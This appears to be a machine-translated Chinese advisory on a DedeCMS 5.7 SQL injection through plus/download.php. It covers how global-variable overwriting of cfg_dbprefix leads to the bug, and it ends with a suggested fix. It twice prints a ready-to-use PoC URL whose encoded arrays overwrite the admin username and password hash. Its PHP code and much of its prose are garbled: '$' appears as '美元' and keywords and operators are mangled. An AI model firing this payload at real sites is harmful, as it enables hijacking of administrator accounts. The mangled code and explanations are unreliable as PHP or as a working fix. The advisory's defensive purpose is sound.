dedecms最新注入漏洞download.php修复方案
核心提示:最近,我们看到最近的一次注射在dedecms最新版本的漏洞。脆弱性POC和分析文章也在线发布。但在我的实际测试过程中,发现它不能被复制,原因是利用这个漏洞需要一定的先决条件,而原始的分析文章是…最近,我在后台的最新版本,看到一个漏洞,这是发表在互联网上。脆弱性POC和分析文章也在线发布。但在我的实际测试过程中,发现不能重现,原因是利用这个漏洞需要一定的前提条件,而原始的分析文章还没有解释它们,所以我总结了我的分析过程和一些触发器的必要条件。
一个。漏洞跟踪
上映时间:2013年6月7日
脆弱性描述:
dedecms是构建Web应用系统和强大的网站内容管理系统平台,基于PHP + MySQL,完全开源的技术架构,强大而稳定的,可用于构建企业信息门户和电子商务网站平台的复杂系统,也可用于管理简单的内容发布网站,是否它是商业或娱乐门户资源的信息门户,它是你的好帮手管理网站。
漏洞触发的根源是dedesql.class.php调用全局美元{ ‘arrs1rsquo;},{ $全局‘arrs2rsquo);两个全局变量没有初始化之前,导致覆盖任意的全局变量。
弱点:因为dedecms的广泛使用,这个漏洞是易于使用,具有较高的风险。它可以管理后台远程获取控制权直接getshell。
触发条件:确保php_mysql.dll用于php.ini并不会同时打开php_mysqli.dll。
如图所示。
受影响的版本:织梦内容管理系统5.7
两。漏洞原理
首先,dedecms安全参数的处理机制,我们在这里看 / /第七十九线包括common.inc.php代码:
foreach(数组(‘_getrsquo;'_postrsquo;'_cookiersquo;)_request美元)
{
foreach(_request美元美元美元_k = _v)
{
如果($ _k = = ‘nvarnamersquo =美元美元美元_k _v;{ });
其他_k } = { _runmagicquotes美元美元(美元_v);
}
}
事实上,所有罪恶的根源是在这里,Dede所发现的漏洞都死在这里。我们可以看到,从一个已知值GPC数组的程序,只需做简单的_v addslashes处理,直接分配到$ { $ _k },实现机制类似于全局变量覆盖,目的是要促进发展,但也存在严重的安全problems.php终于修好了register_globals问题这么多年的更新,但DEDE代码让所有的努力白费了PHP。
然后我们回到漏洞。
首先,对589-600 / / dedesql.class.php线包括,
在这之前的代码执行时,程序不能初始化两阵列arrs1美元美元和arrs2.with dede安全参数处理机制所提到的,我们可以用这个代码来控制全球美元{ $ V1 }的价值。在这个漏洞,例如,为全局{ $ V1 }是拼接的,和我们可以控制美元的价值'cfg_dbprefix = { }。
那么,让我们来看看如何利用全局'cfg_dbprefix'} {美元。
在这里, /第五百一十二线setquery功能包括 / dedesql.class.php,代码如下
这是因为美元全球{ 'cfg_dbprefix}是可控的,那么$前缀也是可控的,所以这使得SQL注入。
下面是整个漏洞的触发过程的跟踪,该漏洞已经在Internet上打开:POC:
/localhost/dedecms5.7/plus/download.phpopen=1arrs1{}=99arrs1{}=102arrs1{}=103arrs1{}=95arrs1{}=100arrs1{}=98arrs1{}=112arrs1{}=114arrs1{}=101arrs1{}=102arrs1{}=105arrs1{}=120arrs2{}=97arrs2{}=100arrs2{}=109arrs2{}=105arrs2{}=110arrs2{}=96arrs2{}=32arrs2{} =83arrs2{}=69arrs2{}=84arrs2{}=32arrs2{}=96arrs2{}=117arrs2{}=115arrs2{}=101arrs2{}=114arrs2{}=105arrs2{}=100arrs2{}=96arrs2{}=61arrs2{}=39arrs2{}=116arrs2{}=101arrs2{}=115arrs2{}=116arrs2{}=39arrs2{}=44arrs2{}=32arrs2{}=96arrs2{}=112arrs2{}=119arrs2{}= 100arrs2{}=96arrs2{}=61arrs2{}=39arrs2{}=102arrs2{}=50arrs2{}=57arrs2{}=55arrs2{}=97arrs2{}=53arrs2{}=55arrs2{}=97arrs2{}=53arrs2{}=97arrs2{}=55arrs2{}=52arrs2{}=51arrs2{}=56arrs2{}=57arrs2{}=52arrs2{}=97arrs2{}=48arrs2{}=101arrs2{}=52arrs2 { } { } = = 39arrs2 32arrs2 { } = 119arrs2 { } { } = = 104arrs2 101arrs2 { } { } = = 114arrs2 101arrs2 { } { } = = 32arrs2 105arrs2 { } { } = = 100arrs2 61arrs2 { } { } = = 49arrs2 32arrs2 { } = 35
首先,看看如果判断,这意味着如果mysqli扩展开的dedesqli.class.php在内。代码的漏洞是在dedesql.class.php,所以该漏洞的前提是,mysqli扩展必须关闭。
这里的dedesql.class.php代码,如图
在这里,我们通过两组arrs1和arrs2因为他们没有初始化,所以这里V1和V2美元美元拼接成字符串,如图所示
所以'cfg_dbprefix'} { $变量覆盖这里。
行政`集` userid ` = ';testrsquo;` PWD ` = ';f297a57a5a743894a0e4prime;在那里,# ID = 1
继续跟踪代码执行,
按照executenonequery2功能和遵循setquery所有的时间。
这是因为美元全球{ 'cfg_dbprefix}是可控的,所以它引起的注射。这是一个查看sql值的图,如图所示。
因为executenonequery2功能不是MySQL IDS的过滤,它注入这里。更新成功后,后台账号和密码都是admin测试。
三。漏洞验证
PoC:
/localhost/dedecms5.7/plus/download.phpopen=1arrs1{}=99arrs1{}=102arrs1{}=103arrs1{}=95arrs1{}=100arrs1{}=98arrs1{}=112arrs1{}=114arrs1{}=101arrs1{}=102arrs1{}=105arrs1{}=120arrs2{}=97arrs2{}=100arrs2{}=109arrs2{}=105arrs2{}=110arrs2{}=96arrs2{}=32arrs2{} =83arrs2{}=69arrs2{}=84arrs2{}=32arrs2{}=96arrs2{}=117arrs2{}=115arrs2{}=101arrs2{}=114arrs2{}=105arrs2{}=100arrs2{}=96arrs2{}=61arrs2{}=39arrs2{}=116arrs2{}=101arrs2{}=115arrs2{}=116arrs2{}=39arrs2{}=44arrs2{}=32arrs2{}=96arrs2{}=112arrs2{}=119arrs2{}= 100arrs2{}=96arrs2{}=61arrs2{}=39arrs2{}=102arrs2{}=50arrs2{}=57arrs2{}=55arrs2{}=97arrs2{}=53arrs2{}=55arrs2{}=97arrs2{}=53arrs2{}=97arrs2{}=55arrs2{}=52arrs2{}=51arrs2{}=56arrs2{}=57arrs2{}=52arrs2{}=97arrs2{}=48arrs2{}=101arrs2{}=52arrs2 { } { } = = 39arrs2 32arrs2 { } = 119arrs2 { } { } = = 104arrs2 101arrs2 { } { } = = 114arrs2 101arrs2 { } { } = = 32arrs2 105arrs2 { } { } = = 100arrs2 61arrs2 { } { } = = 49arrs2 32arrs2 { } = 35
验证截图:
四。漏洞修复
0times;01,修改php.ini确保php_mysqli.dll延伸开。
0times;02、修改 / / dedesql.class.php代码包括,如下图所示
arrs1美元=阵列(0x63,0x66,0x67,0x5f,0x70,0x6f,0x77,0x65,0x72,0x62,0x79);
arrs2美元=阵列(0x20,0x3c,0x61,0x20,0x68,0x72,0x65,0x66,0x3d,0x68,0x74,0x74,0x70,0x3a,0x2F,0x2F,
0x77,0x77,0x77,0x2e,0x64,0x65,0x64,0x65,0x63,0x6d,0x73,0x2e,0x63,0x6f,0x6d,0x20,0x74,0x61,0x72,
0x67,0x65,0x74,0x3d,0x27,0x5f,0x62,0x6c,0x61,0x6e,0x6b,0x27,0x3e,0x50,0x6f,0x77,0x65,0x72,0x20,
0x62,0x79,0x20,0x44,0x65,0x64,0x65,0x43,0x6d,0x73,0x3c,0x2F,0x61,0x3e);
如果(isset($ = { 'arrs1 ' }))
{
美元=;;
为($我= 0;isset($ arrs1 {我});$我+ +)
{
V1 = CHR(美元美元美元arrs1 {我});
}
为($我= 0;isset($ arrs2 {我});$我+ +)
{
V2 = CHR(美元美元美元arrs2 {我});
}
{ } = =美元美元美元的V1 V2;
}